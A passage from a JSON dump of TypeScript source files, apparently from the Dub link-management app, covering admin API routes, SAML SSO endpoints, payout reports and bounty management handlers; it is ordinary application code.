&& {\n        tags: {\n          some: {\n            tagId: {\n              in: tagIds,\n            },\n          },\n        },\n      }),\n    };\n\n    if (groupBy) {\n      response = await prisma.link.groupBy({\n        by: [groupBy],\n        where,\n        _count: true,\n        orderBy: {\n          _count: {\n            [groupBy]: \"desc\",\n          },\n        },\n        take: 500,\n      });\n    } else {\n      response = await prisma.link.count({\n        where,\n      });\n    }\n  }\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/links/route.ts",
    "content": "import { transformLink } from \"@/lib/api/links\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_DOMAINS_ARRAY, LEGAL_USER_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/admin/links\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const {\n    domain,\n    search,\n    sort = \"createdAt\",\n    page,\n  } = searchParams as {\n    domain?: string;\n    search?: string;\n    sort?: \"createdAt\" | \"clicks\" | \"lastClicked\";\n    page?: string;\n  };\n\n  const response = await prisma.link.findMany({\n    where: {\n      ...(domain\n        ? { domain }\n        : {\n            domain: {\n              in: DUB_DOMAINS_ARRAY,\n            },\n          }),\n      ...(!search && {\n        createdAt: {\n          gte: new Date(Date.now() - 1000 * 60 * 60 * 24 * 30), // 30 days ago\n        },\n      }),\n      OR: [\n        {\n          userId: {\n            not: LEGAL_USER_ID,\n          },\n        },\n        {\n          userId: null,\n        },\n      ],\n      ...(search &&\n        (search.startsWith(\"https://\")\n          ? {\n              shortLink: search,\n            }\n          : {\n              OR: [\n                {\n                  shortLink: { contains: search },\n                },\n                {\n                  url: { contains: search },\n                },\n              ],\n            })),\n    },\n    include: {\n      user: true,\n      tags: {\n        include: {\n          tag: {\n            select: {\n              id: true,\n              name: true,\n              color: true,\n            },\n          },\n        },\n      },\n    },\n    orderBy: {\n      [sort]: \"desc\",\n    },\n    take: 100,\n    ...(page && {\n      skip: (parseInt(page) - 1) * 100,\n    }),\n  });\n\n  return NextResponse.json(response.map((link) => transformLink(link)));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/payouts/paypal/route.ts",
    "content": "import { withAdmin } from \"@/lib/auth/admin\";\nimport { getPendingPaypalPayouts } from \"@/lib/paypal/get-pending-payouts\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const { country, programId } = searchParams;\n  const pendingPaypalPayouts = await getPendingPaypalPayouts({\n    country,\n    programId,\n  });\n  return NextResponse.json(pendingPaypalPayouts);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/payouts/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { sqlGranularityMap } from \"@/lib/planetscale/granularity\";\nimport { analyticsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { prisma } from \"@dub/prisma\";\nimport { InvoiceStatus, Prisma } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { format } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\ninterface TimeseriesPoint {\n  payouts: number;\n  fees: number;\n  total: number;\n}\n\ninterface FormattedTimeseriesPoint extends TimeseriesPoint {\n  date: Date;\n}\n\nconst adminPayoutsQuerySchema = z\n  .object({\n    programId: z.string().optional(),\n    status: z.enum(InvoiceStatus).optional(),\n  })\n  .extend(\n    analyticsQuerySchema.pick({ interval: true, start: true, end: true }).shape,\n  );\n\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const {\n    programId,\n    status,\n    interval = \"mtd\",\n    start,\n    end,\n  } = adminPayoutsQuerySchema.parse(searchParams);\n\n  const timezone = \"UTC\";\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval,\n    start,\n    end,\n    timezone,\n  });\n\n  // Fetch invoices\n  const invoices = await prisma.invoice.findMany({\n    where: {\n      ...(programId\n        ? { programId }\n        : {\n            AND: [\n              {\n                programId: {\n                  not: ACME_PROGRAM_ID,\n                },\n              },\n              {\n                program: {\n                  isNot: null,\n                },\n              },\n            ],\n          }),\n      status: status || {\n        not: \"failed\",\n      },\n      createdAt: {\n        gte: startDate,\n        lte: endDate,\n      },\n    },\n    include: {\n      program: {\n        select: {\n          name: true,\n          logo: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  const { dateFormat, dateIncrement, startFunction, formatString } =\n    sqlGranularityMap[granularity];\n\n  // Calculate timeseries data for payouts and fees\n  const timeseriesData = await prisma.$queryRaw<\n    { date: Date; payouts: number; fees: number; total: number }[]\n  >`\n    SELECT \n      DATE_FORMAT(CONVERT_TZ(createdAt, \"UTC\", ${timezone}), ${dateFormat}) as date,\n      SUM(amount) as payouts,\n      SUM(fee) as fees,\n      SUM(total) as total\n    FROM Invoice\n    WHERE \n      ${programId ? Prisma.sql`programId = ${programId}` : Prisma.sql`programId != ${ACME_PROGRAM_ID}`}\n      AND ${status ? Prisma.sql`status = ${status}` : Prisma.sql`status != 'failed'`}\n      AND createdAt >= ${startDate}\n      AND createdAt <= ${endDate}\n    GROUP BY DATE_FORMAT(CONVERT_TZ(createdAt, \"UTC\", ${timezone}), ${dateFormat})\n    ORDER BY date ASC;\n  `;\n\n  const formattedInvoices = invoices.map((invoice) => ({\n    date: invoice.createdAt,\n    // we're coercing this cause we've filtered out invoices without a programId above\n    programId: invoice.programId!,\n    programName: invoice.program!.name,\n    programLogo: invoice.program!.logo,\n    status: invoice.status,\n    amount: invoice.amount,\n    fee: invoice.fee,\n    total: invoice.total,\n  }));\n\n  // Create a lookup object for the timeseries data\n  const timeseriesLookup: Record<string, TimeseriesPoint> = Object.fromEntries(\n    timeseriesData.map((item) => [\n      item.date,\n      {\n        payouts: Number(item.payouts),\n        fees: Number(item.fees),\n        total: Number(item.total),\n      },\n    ]),\n  );\n\n  // Backfill missing dates with 0 values\n  let currentDate = startFunction(startDate);\n\n  const formattedTimeseriesData: FormattedTimeseriesPoint[] = [];\n\n  while (currentDate < endDate) {\n    const periodKey = format(currentDate, formatString);\n\n    formattedTimeseriesData.push({\n      date: currentDate,\n      ...(timeseriesLookup[periodKey] || {\n        payouts: 0,\n        fees: 0,\n        total: 0,\n      }),\n    });\n\n    currentDate = dateIncrement(currentDate);\n  }\n\n  return NextResponse.json({\n    invoices: formattedInvoices,\n    timeseriesData: formattedTimeseriesData,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/refresh-domain/route.ts",
    "content": "import { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/admin/refresh-domain\nexport const POST = withAdmin(async ({ req }) => {\n  const { domain } = await req.json();\n\n  const remove = await fetch(\n    `https://api.vercel.com/v9/projects/${process.env.PROJECT_ID_VERCEL}/domains/${domain}?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n      },\n      method: \"DELETE\",\n    },\n  ).then((res) => res.json());\n  const add = await addDomainToVercel(domain);\n\n  console.log({ remove, add });\n\n  return NextResponse.json({ success: true });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/reset-login-attempts/route.ts",
    "content": "import { withAdmin } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/admin/reset-login-attempts\nexport const POST = withAdmin(async ({ req }) => {\n  const { email } = await req.json();\n\n  if (!email) {\n    return NextResponse.json({ error: \"Email is required\" }, { status: 400 });\n  }\n\n  const user = await prisma.user.findUnique({\n    where: { email },\n    select: {\n      id: true,\n      email: true,\n      invalidLoginAttempts: true,\n      lockedAt: true,\n    },\n  });\n\n  if (!user) {\n    return NextResponse.json({ error: \"User not found\" }, { status: 404 });\n  }\n\n  const updatedUser = await prisma.user.update({\n    where: { email },\n    data: {\n      invalidLoginAttempts: 0,\n      lockedAt: null,\n    },\n    select: {\n      id: true,\n      email: true,\n      invalidLoginAttempts: true,\n      lockedAt: true,\n    },\n  });\n\n  return NextResponse.json({\n    success: true,\n    user: updatedUser,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/revenue/get-top-programs-by-sales.ts",
    "content": "import { formatUTCDateTimeClickhouse } from \"@/lib/analytics/utils/format-utc-datetime-clickhouse\";\nimport { tb } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nexport async function getTopProgramsBySales({\n  startDate,\n  endDate,\n}: {\n  startDate: Date;\n  endDate: Date;\n}) {\n  const pipe = tb.buildPipe({\n    pipe: \"v2_top_programs\",\n    parameters: z.any(),\n    data: z.any(),\n  });\n\n  const response = await pipe({\n    eventType: \"sales\",\n    start: formatUTCDateTimeClickhouse(startDate),\n    end: formatUTCDateTimeClickhouse(endDate),\n  });\n\n  const topProgramsData = response.data as {\n    programId: string;\n  }[];\n\n  const programIds = topProgramsData\n    .map((item) => item.programId)\n    .filter((id) => id !== ACME_PROGRAM_ID);\n\n  const programs = await prisma.program.findMany({\n    where: {\n      id: {\n        in: programIds,\n      },\n    },\n    select: {\n      id: true,\n      name: true,\n      logo: true,\n      _count: {\n        select: {\n          partners: {\n            where: {\n              totalCommissions: {\n                gt: 0,\n              },\n            },\n          },\n        },\n      },\n    },\n  });\n\n  return topProgramsData\n    .map((item) => {\n      const program = programs.find((program) => program.id === item.programId);\n      if (!program) return null;\n      const { _count, ...rest } = program;\n      return {\n        ...rest,\n        ...item,\n        partners: _count.partners,\n      };\n    })\n    .filter(Boolean);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/admin/revenue/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { withAdmin } from \"@/lib/auth\";\nimport { DUB_FOUNDING_DATE } from \"@dub/utils\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\nimport { getTopProgramsBySales } from \"./get-top-programs-by-sales\";\n\nexport const GET = withAdmin(async ({ searchParams }) => {\n  const { interval = \"mtd\", start, end } = searchParams;\n\n  const { startDate, endDate } = getStartEndDates({\n    interval,\n    start: start ? startOfDay(new Date(start)) : undefined,\n    end: end ? endOfDay(new Date(end)) : undefined,\n    dataAvailableFrom: DUB_FOUNDING_DATE,\n  });\n\n  const programs = await getTopProgramsBySales({\n    startDate,\n    endDate,\n  });\n\n  return NextResponse.json({\n    programs,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/audit-logs/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils\";\nimport { getAuditLogs } from \"@/lib/api/audit-logs/get-audit-logs\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport * as z from \"zod/v4\";\n\nconst auditLogExportQuerySchema = z.object({\n  start: z.string(),\n  end: z.string(),\n});\n\n// POST /api/audit-logs/export – export audit logs to CSV\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    const { start, end } = auditLogExportQuerySchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (!start || !end) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Must provide start and end dates.\",\n      });\n    }\n\n    const { canExportAuditLogs } = getPlanCapabilities(workspace.plan);\n\n    if (!canExportAuditLogs) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You are not authorized to export audit logs.\",\n      });\n    }\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const auditLogs = await getAuditLogs({\n      workspaceId: workspace.id,\n      programId,\n      start: new Date(start),\n      end: new Date(end),\n    });\n\n    const csvData = convertToCSV(auditLogs);\n\n    return new Response(csvData, {\n      headers: {\n        \"Content-Type\": \"application/csv\",\n        \"Content-Disposition\": `attachment;`,\n      },\n    });\n  },\n  {\n    requiredRoles: [\"owner\", \"member\"],\n    requiredPlan: [\"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/auth/saml/authorize/route.ts",
    "content": "import { jackson } from \"@/lib/jackson\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nconst handler = async (req: Request) => {\n  const { oauthController } = await jackson();\n\n  const requestParams =\n    req.method === \"GET\" ? getSearchParams(req.url) : await req.json();\n\n  const { redirect_url, authorize_form } =\n    await oauthController.authorize(requestParams);\n\n  if (redirect_url) {\n    return NextResponse.redirect(redirect_url, {\n      status: 302,\n    });\n  } else {\n    return new Response(authorize_form, {\n      headers: {\n        \"Content-Type\": \"text/html; charset=utf-8\",\n      },\n    });\n  }\n};\n\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/auth/saml/callback/route.ts",
    "content": "import { jackson } from \"@/lib/jackson\";\nimport { NextResponse } from \"next/server\";\n\nexport async function POST(req: Request) {\n  const { oauthController } = await jackson();\n\n  const formData = await req.formData();\n\n  const RelayState = formData.get(\"RelayState\") || \"\";\n  const SAMLResponse = formData.get(\"SAMLResponse\") || \"\";\n\n  const { redirect_url } = await oauthController.samlResponse({\n    RelayState: RelayState as string,\n    SAMLResponse: SAMLResponse as string,\n  });\n\n  if (!redirect_url) {\n    return new Response(\"No redirect URL found.\", {\n      status: 400,\n    });\n  }\n\n  return NextResponse.redirect(redirect_url, {\n    status: 302,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/auth/saml/token/route.ts",
    "content": "import { jackson } from \"@/lib/jackson\";\nimport * as jose from \"jose\";\nimport { NextResponse } from \"next/server\";\nimport * as dummy from \"openid-client\";\n\nexport async function POST(req: Request) {\n  console.log(\"token route\");\n\n  // Need these imports to fix import errors with jackson\n  // https://github.com/ory/polis/blob/main/pages/api/import-hack.ts\n  const unused = dummy; // eslint-disable-line @typescript-eslint/no-unused-vars\n  const unused2 = jose; // eslint-disable-line @typescript-eslint/no-unused-vars\n\n  const { oauthController } = await jackson();\n\n  const formData = await req.formData();\n  const body = Object.fromEntries(formData.entries());\n\n  const token = await oauthController.token(body as any);\n\n  return NextResponse.json(token);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/auth/saml/userinfo/route.ts",
    "content": "import { jackson } from \"@/lib/jackson\";\nimport { NextResponse } from \"next/server\";\n\nexport async function GET(req: Request) {\n  const { oauthController } = await jackson();\n\n  const authHeader = req.headers.get(\"Authorization\");\n\n  if (!authHeader) {\n    return new Response(\"Unauthorized\", {\n      status: 401,\n    });\n  }\n\n  const token = authHeader.split(\" \")[1];\n\n  const user = await oauthController.userInfo(token);\n\n  return NextResponse.json(user);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/auth/saml/verify/route.tsx",
    "content": "import { jackson } from \"@/lib/jackson\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\nexport async function POST(req: Request) {\n  const { apiController } = await jackson();\n\n  const { slug } = await req.json();\n\n  if (!slug) {\n    return NextResponse.json(\n      { error: \"No workspace slug provided.\" },\n      { status: 400 },\n    );\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: { slug },\n    select: { id: true },\n  });\n\n  if (!workspace) {\n    return NextResponse.json(\n      { error: \"Workspace not found.\" },\n      { status: 404 },\n    );\n  }\n\n  const connections = await apiController.getConnections({\n    tenant: workspace.id,\n    product: \"Dub\",\n  });\n\n  if (!connections || connections.length === 0) {\n    return NextResponse.json(\n      { error: \"No SSO connections found for this workspace.\" },\n      { status: 404 },\n    );\n  }\n\n  const data = {\n    workspaceId: workspace.id,\n  };\n\n  return NextResponse.json({ data });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/[bountyId]/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { throwIfInvalidGroupIds } from \"@/lib/api/groups/throw-if-invalid-group-ids\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { generatePerformanceBountyName } from \"@/lib/bounty/api/generate-performance-bounty-name\";\nimport { getBountyWithDetails } from \"@/lib/bounty/api/get-bounty-with-details\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"@/lib/bounty/api/performance-bounty-scope-attributes\";\nimport { validateBounty } from \"@/lib/bounty/api/validate-bounty\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { WorkflowCondition } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  BountySchema,\n  submissionRequirementsSchema,\n  updateBountySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerGroup, Prisma } from \"@dub/prisma/client\";\nimport { arrayEqual, deepEqual } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/bounties/[bountyId] - get a bounty\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { bountyId } = params;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    console.time(\"getBountyWithDetails\");\n    const bounty = await getBountyWithDetails({\n      bountyId,\n      programId,\n    });\n    console.timeEnd(\"getBountyWithDetails\");\n\n    return NextResponse.json(BountySchema.parse(bounty));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// PATCH /api/bounties/[bountyId] - update a bounty\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const { bountyId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      name,\n      description,\n      startsAt,\n      endsAt,\n      submissionsOpenAt,\n      submissionFrequency,\n      maxSubmissions,\n      rewardAmount,\n      rewardDescription,\n      submissionRequirements,\n      performanceCondition,\n      groupIds,\n    } = updateBountySchema.parse(await parseRequestBody(req));\n\n    const bounty = await prisma.bounty.findUniqueOrThrow({\n      where: {\n        id: bountyId,\n        programId,\n      },\n      include: {\n        groups: true,\n        workflow: true,\n        _count: {\n          select: {\n            submissions: true,\n          },\n        },\n      },\n    });\n\n    validateBounty({\n      type: bounty.type,\n      startsAt,\n      endsAt: endsAt !== undefined ? endsAt : bounty.endsAt,\n      submissionsOpenAt,\n      submissionFrequency:\n        submissionFrequency !== undefined\n          ? submissionFrequency\n          : bounty.submissionFrequency,\n      maxSubmissions:\n        maxSubmissions !== undefined ? maxSubmissions : bounty.maxSubmissions,\n      submissionRequirements,\n      rewardAmount,\n      rewardDescription,\n      performanceScope: bounty.performanceScope,\n    });\n\n    if (\n      submissionRequirements !== undefined &&\n      submissionRequirements?.socialMetrics &&\n      !getPlanCapabilities(workspace.plan).canUseBountySocialMetrics\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Social metrics criteria require Advanced plan or above.\",\n      });\n    }\n\n    // TODO:\n    // When we do archive, make sure it disables the workflow\n\n    // if groupIds is provided and is different from the current groupIds, update the groups\n    let updatedPartnerGroups: PartnerGroup[] | undefined = undefined;\n    if (\n      groupIds &&\n      !arrayEqual(\n        bounty.groups.map((group) => group.groupId),\n        groupIds,\n      )\n    ) {\n      updatedPartnerGroups = await throwIfInvalidGroupIds({\n        programId,\n        groupIds,\n      });\n    }\n\n    // Prevent updates if `performanceCondition.attribute` differs from the current value if there are existing submissions\n    if (performanceCondition && bounty.workflow) {\n      const submissionCount = bounty._count.submissions;\n      const currentCondition = bounty.workflow\n        .triggerConditions?.[0] as WorkflowCondition;\n\n      if (\n        currentCondition &&\n        currentCondition.attribute !== performanceCondition.attribute &&\n        submissionCount > 0\n      ) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: `You cannot change the performance condition from \"${PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[currentCondition.attribute].toLowerCase()}\" to \"${PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[performanceCondition.attribute].toLowerCase()}\" because the bounty has submissions.`,\n        });\n      }\n    }\n\n    // Prevent update if `submissionRequirements.socialMetrics` differs from the current value if there are existing submissions\n    if (submissionRequirements) {\n      const submissionCount = bounty._count.submissions;\n\n      const currentSocialMetrics = bounty.submissionRequirements\n        ? submissionRequirementsSchema.parse(bounty.submissionRequirements)\n            .socialMetrics ?? {}\n        : {};\n\n      const incomingSocialMetrics =\n        submissionRequirementsSchema.parse(submissionRequirements)\n          .socialMetrics ?? {};\n\n      if (\n        !deepEqual(currentSocialMetrics, incomingSocialMetrics) &&\n        submissionCount > 0\n      ) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message:\n            \"You cannot change the social metrics criteria because the bounty has submissions.\",\n        });\n      }\n    }\n\n    // Bounty name\n    let bountyName = name;\n\n    if (bounty.type === \"performance\" && performanceCondition) {\n      bountyName = generatePerformanceBountyName({\n        rewardAmount: rewardAmount ?? 0, // this shouldn't happen since we return early if rewardAmount is null\n        condition: performanceCondition,\n      });\n    }\n\n    const data = await prisma.$transaction(async (tx) => {\n      const updatedBounty = await tx.bounty.update({\n        where: {\n          id: bounty.id,\n        },\n        data: {\n          name: bountyName ?? undefined,\n          description,\n          startsAt: startsAt!, // Can remove the ! when we're on a newer TS version (currently 5.4.4)\n          endsAt,\n          submissionsOpenAt:\n            bounty.type === \"submission\" ? submissionsOpenAt : null,\n          ...(bounty.type === \"submission\" &&\n            submissionFrequency !== undefined && { submissionFrequency }),\n          ...(bounty.type === \"submission\" &&\n            maxSubmissions !== undefined && {\n              maxSubmissions: maxSubmissions ?? 1,\n            }),\n          rewardAmount:\n            rewardAmount !== undefined ? rewardAmount : bounty.rewardAmount,\n          rewardDescription,\n          ...(bounty.type === \"submission\" &&\n            submissionRequirements !== undefined && {\n              submissionRequirements: submissionRequirements ?? Prisma.DbNull,\n            }),\n          ...(updatedPartnerGroups && {\n            groups: {\n              deleteMany: {},\n              create: updatedPartnerGroups.map((group) => ({\n                groupId: group.id,\n              })),\n            },\n          }),\n        },\n        include: {\n          workflow: true,\n          groups: true,\n        },\n      });\n\n      if (updatedBounty.workflowId && performanceCondition) {\n        await tx.workflow.update({\n          where: {\n            id: updatedBounty.workflowId,\n          },\n          data: {\n            triggerConditions: [performanceCondition],\n          },\n        });\n      }\n\n      return {\n        ...updatedBounty,\n        performanceCondition,\n      };\n    });\n\n    const updatedBounty = BountySchema.parse({\n      ...data,\n      groups: data.groups.map(({ groupId }) => ({ id: groupId })),\n      performanceCondition: data.workflow?.triggerConditions?.[0],\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"bounty.updated\",\n          description: `Bounty ${bounty.id} updated`,\n          actor: session?.user,\n          targets: [\n            {\n              type: \"bounty\",\n              id: bounty.id,\n              metadata: updatedBounty,\n            },\n          ],\n        }),\n\n        sendWorkspaceWebhook({\n          workspace,\n          trigger: \"bounty.updated\",\n          data: updatedBounty,\n        }),\n      ]),\n    );\n\n    return NextResponse.json(updatedBounty);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\n// DELETE /api/bounties/[bountyId] - delete a bounty\nexport const DELETE = withWorkspace(\n  async ({ workspace, params, session }) => {\n    const { bountyId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const bounty = await prisma.bounty.findUniqueOrThrow({\n      where: {\n        id: bountyId,\n        programId,\n      },\n      include: {\n        groups: true,\n        workflow: true,\n        _count: {\n          select: {\n            submissions: true,\n          },\n        },\n      },\n    });\n\n    if (bounty._count.submissions > 0) {\n      throw new DubApiError({\n        message:\n          \"Bounties with submissions cannot be deleted. You can archive them instead.\",\n        code: \"bad_request\",\n      });\n    }\n\n    await prisma.$transaction(async (tx) => {\n      const bounty = await tx.bounty.delete({\n        where: {\n          id: bountyId,\n        },\n      });\n\n      if (bounty.workflowId) {\n        await tx.workflow.delete({\n          where: {\n            id: bounty.workflowId,\n          },\n        });\n      }\n    });\n\n    const deletedBounty = BountySchema.parse({\n      ...bounty,\n      groups: bounty.groups.map(({ groupId }) => ({ id: groupId })),\n      performanceCondition: bounty.workflow?.triggerConditions?.[0],\n    });\n\n    waitUntil(\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: \"bounty.deleted\",\n        description: `Bounty ${bountyId} deleted`,\n        actor: session?.user,\n        targets: [\n          {\n            type: \"bounty\",\n            id: bountyId,\n            metadata: deletedBounty,\n          },\n        ],\n      }),\n    );\n\n    return NextResponse.json({ id: bountyId });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/[bountyId]/submissions/[submissionId]/approve/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { approveBountySubmission } from \"@/lib/bounty/api/approve-bounty-submission\";\nimport { getBountyOrThrow } from \"@/lib/bounty/api/get-bounty-or-throw\";\nimport { approveBountySubmissionBodySchema } from \"@/lib/zod/schemas/bounties\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/bounties/[bountyId]/submissions/[submissionId]/approve - approve a submission\nexport const POST = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const { bountyId, submissionId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    let body;\n    try {\n      body = await parseRequestBody(req);\n    } catch (e) {\n      // If body is empty or invalid, use empty object since body is optional\n      body = {};\n    }\n\n    const { rewardAmount } = approveBountySubmissionBodySchema.parse(body);\n\n    await getBountyOrThrow({\n      bountyId,\n      programId,\n    });\n\n    const approvedSubmission = await approveBountySubmission({\n      programId,\n      bountyId,\n      submissionId,\n      rewardAmount,\n      user: session.user,\n    });\n\n    return NextResponse.json(approvedSubmission);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/[bountyId]/submissions/[submissionId]/reject/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getBountyOrThrow } from \"@/lib/bounty/api/get-bounty-or-throw\";\nimport { rejectBountySubmission } from \"@/lib/bounty/api/reject-bounty-submission\";\nimport { rejectBountySubmissionBodySchema } from \"@/lib/zod/schemas/bounties\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/bounties/[bountyId]/submissions/[submissionId]/reject - reject a submission\nexport const POST = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const { bountyId, submissionId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    let body;\n    try {\n      body = await parseRequestBody(req);\n    } catch (e) {\n      // If body is empty or invalid, use empty object since body is optional\n      body = {};\n    }\n\n    const { rejectionReason, rejectionNote } =\n      rejectBountySubmissionBodySchema.parse(body);\n\n    await getBountyOrThrow({\n      bountyId,\n      programId,\n    });\n\n    const rejectedSubmission = await rejectBountySubmission({\n      programId,\n      bountyId,\n      submissionId,\n      rejectionReason,\n      rejectionNote,\n      user: session.user,\n    });\n\n    return NextResponse.json(rejectedSubmission);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/[bountyId]/submissions/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getBountyOrThrow } from \"@/lib/bounty/api/get-bounty-or-throw\";\nimport {\n  BountySubmissionExtendedSchema,\n  getBountySubmissionsQuerySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/bounties/[bountyId]/submissions - get all submissions for a bounty\nexport const GET = withWorkspace(\n  async ({ workspace, params, searchParams }) => {\n    const { bountyId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getBountyOrThrow({\n      bountyId,\n      programId,\n      include: {\n        groups: true,\n      },\n    });\n\n    const {\n      status,\n      groupId,\n      partnerId,\n      sortOrder,\n      sortBy,\n      page = 1,\n      pageSize,\n    } = getBountySubmissionsQuerySchema.parse(searchParams);\n\n    const submissions = await prisma.bountySubmission.findMany({\n      where: {\n        bountyId,\n        status: status ?? {\n          in: [\"draft\", \"submitted\", \"approved\"],\n        },\n        ...(groupId && {\n          programEnrollment: {\n            groupId,\n          },\n        